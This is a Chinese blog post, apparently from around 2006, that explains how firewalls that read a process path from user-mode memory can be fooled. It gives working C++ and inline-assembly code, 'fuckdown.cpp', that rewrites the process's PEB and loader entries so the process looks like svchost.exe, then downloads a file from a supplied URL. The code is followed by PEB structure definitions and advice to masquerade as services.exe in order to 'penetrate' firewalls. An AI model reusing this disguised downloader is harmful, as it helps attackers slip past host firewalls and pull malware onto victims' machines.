防火牆普遍存在的設計缺陷--關於進程路徑的獲取

 防火牆普遍存在的設計缺陷--關於進程路徑的獲取 收藏

<script type="text/javascript">function StorePage(){d=document;t=d.selection?(d.selection.type!='None'?d.selection.createRange().text:''):(d.getSelection?d.getSelection():'');void(keyit=window.open('http://www.365key.com/storeit.aspx?t='+escape(d.title)+'&u='+escape(d.location.href)+'&c='+escape(t),'keyit','scrollbars=no,width=475,height=575,left=75,top=20,status=no,resizable=yes'));keyit.focus();}</script> 作者:RonCha 當程序訪問網絡時,一般情況下防火牆都會獲取到程序的路徑,並提示用戶。 問 題就出在獲取程序路徑的方法,一般的防火牆程序都是直接在ring3下獲取這些信息,也就是說防火牆程序獲取的這些信息,基本上是程序的PEB中存放的信 息。如果我們修改了程序的PEB中相關的路徑的信息的話,把程序修改僞裝爲系統進程的路徑的話,防火牆就無法正確識別了。 DEMO代碼如下,如需更完整的信息請與我聯繫:
// fuckdown.cpp : Defines the entry point for the console application.

//

//  [9/19/2006 RonCha]

#include "stdafx.h"

#include <urlmon.h>

#pragma comment(lib,"urlmon.lib")



char szpath[MAX_PATH]=...{0};

OLECHAR path[MAX_PATH]=...{0};





void ChangPath();



int main(int argc, char* argv[])

...{



    //修改路徑

    ChangPath();

    if (argc==3)

    ...{

         if (argv[1]!="" && argv[2]!="")

         ...{

            HRESULT hRet=URLDownloadToFileA(NULL,argv[1],argv[2],NULL,NULL);

            if(hRet==S_OK)

                printf(" Down Success! ");

            else

                printf(" Can't down the file! ");

            return 1;

         }

    }

    printf("Author:RonCha ");

    printf("Web:http://blog.csdn.net/RonCha ");

    printf("Usage:fuckdown.exe downurl savepath ");

    return 0;

}



void ChangPath()

...{

    //將該進程僞裝爲svchost.exe

    int slen;

    slen=GetSystemDirectory(szpath,MAX_PATH);

    slen=GetSystemDirectory(szpath,slen);

    lstrcat(szpath,"/svchost.exe");

    //轉化爲Unicode字符

    MultiByteToWideChar(CP_ACP,NULL,szpath,-1,path,MAX_PATH);

    __asm

    ...{            

            MOV EAX, fs:[30h]            //get the PEB address

            MOV EAX, [EAX+0xC]             //_PEB_LDR_DATA

            MOV EAX, [EAX+0xC]             //InLoadOrderModuleList

            lea ebx,path

            mov WORD ptr[EAX+0x24],0x60  //FullDllName->Length

            mov [EAX+0x28],ebx             //FullDllName->Buffer

            MOV EAX, fs:[30h]

            mov EAX,[EAX+0x10]           //peb->_RTL_USER_PROCESS_PARAMETERS 

            lea EAX,[EAX+0x3c]             //_RTL_USER_PROCESS_PARAMETERS ->ImagePathName->Buffer

            lea ebx,path

            mov [eax],ebx                 //ImagePathName->Buffer

            mov WORD ptr[eax-4],0x60     //ImagePathName->Length

            MOV EAX, fs:[30h]

            mov EAX,[EAX+0x10]           //peb->_RTL_USER_PROCESS_PARAMETERS 

            lea eax,[EAX+0x44]             //_RTL_USER_PROCESS_PARAMETERS -> CommandLine->Buffer

            lea ebx,path

            mov [eax],ebx                //CommandLine-->Buffer

            mov WORD ptr[eax-4],0x60    //CommandLine-->Length

    }

}

 另從邪惡八進制獲得:
PEB(Process Environment Block)——進程環境塊,存放進程信息,每個進程都有自己的 PEB 信息。在 Win 2000 下,進程環境塊的地址對於每個進程來說是固定的,在 0x7FFDF000 處,這是用戶區內存,所以程序能夠直接訪問。準確的 PEB 地址應從系統的 EPROCESS 結構的 1b0H 偏移處獲得,但由於 EPROCESS 在進程的核心內存區,所以程序不能直接訪問。還可以通過 TEB 結構的偏移 30H 處獲得 PEB 的位置,代碼如下:
mov eax,fs:[18]

mov eax,[eax+30]

PEB 及其相關結構如下:

typedef void (*PPEBLOCKROUTINE)(PVOID PebLock);



typedef struct _UNICODE_STRING {

USHORT Length;

USHORT MaximumLength;

PWSTR Buffer;

} UNICODE_STRING, *PUNICODE_STRING;


typedef struct _RTL_DRIVE_LETTER_CURDIR {

USHORT Flags;

USHORT Length;

ULONG TimeStamp;

UNICODE_STRING DosPath;

} RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR;



typedef struct _PEB_LDR_DATA {

ULONG Length;

BOOLEAN Initialized;

PVOID SsHandle;

LIST_ENTRY InLoadOrderModuleList;

LIST_ENTRY InMemoryOrderModuleList;

LIST_ENTRY InInitializationOrderModuleList;

} PEB_LDR_DATA, *PPEB_LDR_DATA;



typedef struct _LDR_MODULE {

LIST_ENTRY InLoadOrderModuleList;

LIST_ENTRY InMemoryOrderModuleList;

LIST_ENTRY InInitializationOrderModuleList;

PVOID BaseAddress;

PVOID EntryPoint;

ULONG SizeOfImage;

UNICODE_STRING FullDllName;

UNICODE_STRING BaseDllName;

ULONG Flags;

SHORT LoadCount;

SHORT TlsIndex;

LIST_ENTRY HashTableEntry;

ULONG TimeDateStamp;

} LDR_MODULE, *PLDR_MODULE;



typedef struct _RTL_USER_PROCESS_PARAMETERS {

ULONG MaximumLength;

ULONG Length;

ULONG Flags;

ULONG DebugFlags;

PVOID ConsoleHandle;

ULONG ConsoleFlags;

HANDLE StdInputHandle;

HANDLE StdOutputHandle;

HANDLE StdErrorHandle;

UNICODE_STRING CurrentDirectoryPath;

HANDLE CurrentDirectoryHandle;

UNICODE_STRING DllPath;

UNICODE_STRING ImagePathName;

UNICODE_STRING CommandLine;

PVOID Environment;

ULONG StartingPositionLeft;

ULONG StartingPositionTop;

ULONG Width;

ULONG Height;

ULONG CharWidth;

ULONG CharHeight;

ULONG ConsoleTextAttributes;

ULONG WindowFlags;

ULONG ShowWindowFlags;

UNICODE_STRING WindowTitle;

UNICODE_STRING DesktopName;

UNICODE_STRING ShellInfo;

UNICODE_STRING RuntimeData;

RTL_DRIVE_LETTER_CURDIR DLCurrentDirectory[0x20];

} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;



typedef struct _PEB_FREE_BLOCK {

struct _PEB_FREE_BLOCK *Next;

ULONG Size;

} PEB_FREE_BLOCK, *PPEB_FREE_BLOCK;



typedef struct _PEB {

BOOLEAN InheritedAddressSpace;

BOOLEAN ReadImageFileExecOptions;

BOOLEAN BeingDebugged;

BOOLEAN Spare;

HANDLE Mutant;

PVOID ImageBaseAddress;

PPEB_LDR_DATA LoaderData;

PRTL_USER_PROCESS_PARAMETERS ProcessParameters;

PVOID SubSystemData;

PVOID ProcessHeap;

PVOID FastPebLock;

PPEBLOCKROUTINE FastPebLockRoutine;

PPEBLOCKROUTINE FastPebUnlockRoutine;

ULONG EnvironmentUpdateCount;

PVOID *KernelCallbackTable;

PVOID EventLogSection;

PVOID EventLog;

PPEB_FREE_BLOCK FreeList;

ULONG TlsExpansionCounter;

PVOID TlsBitmap;

ULONG TlsBitmapBits[0x2];

PVOID ReadOnlySharedMemoryBase;

PVOID ReadOnlySharedMemoryHeap;

PVOID *ReadOnlyStaticServerData;

PVOID AnsiCodePageData;

PVOID OemCodePageData;

PVOID UnicodeCaseTableData;

ULONG NumberOfProcessors;

ULONG NtGlobalFlag;

BYTE Spare2[0x4];

LARGE_INTEGER CriticalSectionTimeout;

ULONG HeapSegmentReserve;

ULONG HeapSegmentCommit;

ULONG HeapDeCommitTotalFreeThreshold;

ULONG HeapDeCommitFreeBlockThreshold;

ULONG NumberOfHeaps;

ULONG MaximumNumberOfHeaps;

PVOID **ProcessHeaps;

PVOID GdiSharedHandleTable;

PVOID ProcessStarterHelper;

PVOID GdiDCAttributeList;

PVOID LoaderLock;

ULONG OSMajorVersion;

ULONG OSMinorVersion;

ULONG OSBuildNumber;

ULONG OSPlatformId;

ULONG ImageSubSystem;

ULONG ImageSubSystemMajorVersion;

ULONG ImageSubSystemMinorVersion;

ULONG GdiHandleBuffer[0x22];

ULONG PostProcessInitRoutine;

ULONG TlsExpansionBitmap;

BYTE TlsExpansionBitmapBits[0x80];

ULONG SessionId;

} PEB, *PPEB;

PEB 結構中的 PPEB_LDR_DATA 是一個指向 PEB_LDR_DATA 的指針,PEB_LDR_DATA 結構中有 3 個 LIST_ENTRY 的指針,分別是 InLoadOrderModuleList; InMemoryOrderModuleList; InInitializationOrderModuleList,如此循環。可以通過這三個 LIST_ENTRY 結構來遍歷進程加載的模塊。LDR_MODULE 結構中的 FullDllName 成員便是一個包含模塊名信息的 UNICODE_STRIN 結構,它的成員 Buffer 即是指向存放模塊名的 UNICODE 字符串指針。還有要注意的是,RTL_USER_PROCESS_PARAMETERS 結構中的 ImagePathName.Buffer 和 LoaderData->InLoadOrderModuleList.Flink->FullDllName.Buffer 指向的其實是同一內存。

 

在 Windows 2000 下,枚舉系統進程的方法無外乎通過 Tool Help 函數,或是 PSAPI 函數。這兩類函數雖然接口不同,但最後還是通過調用 NTDLL.DLL 中導出的 NtQuerySystemInformation 函數來實現的。這些函數最終是通過 LDR_MODULE 中指向的那些模塊信息來實現進程和模塊名字查詢的。所以,只要修改 LDR_MODULE 指向的那些信息就能實現改變進程名或模塊名。注意那些字符串都是 unicode 形式的,改的時候別忘了。

 

這樣改過之後雖然能夠騙過 EnumProcessModules 和 Module32First、Module32Next 函數,但若使用 Process32Next、Process32First 函數,PROCESSENTRY32 結構中的 szExeFile 還是會如實的返回 EXE 文件名,如此一來,在“windows 任務管理器”裏就穿邦了,即便你改了 BaseDllName 也沒用。別急,當然還是有辦法改的。不知諸位有沒有注意到,用 Delphi 編譯出來的可執行文件,如果你沒改工程名的話,無論你怎麼改可執行文件的文件名,在“windows 任務管理器”中總是顯示“project1.exe”,具體什麼原理我也不清楚。哪位有興趣可以反彙編一下,看看具體是如何實現的,我的彙編功底太差了。 不過這樣就夠了,你可以做個試驗,用以上方法改變一個有上網請求的進程的 ImagePathName,然後看看防火牆有什麼反映。果然,被騙過去了。用這個方法就可以“穿透”防火牆了。 那具體應該改爲哪個程序名呢?在 windows 2000 下,C:/WINNT/system32/services.exe 負責DNS解析等任務,總是被允許上網的,所以改成“C:/WINNT/system32/services.exe”就可以了。

發佈了38 篇原創文章 · 獲贊 5 · 訪問量 11萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章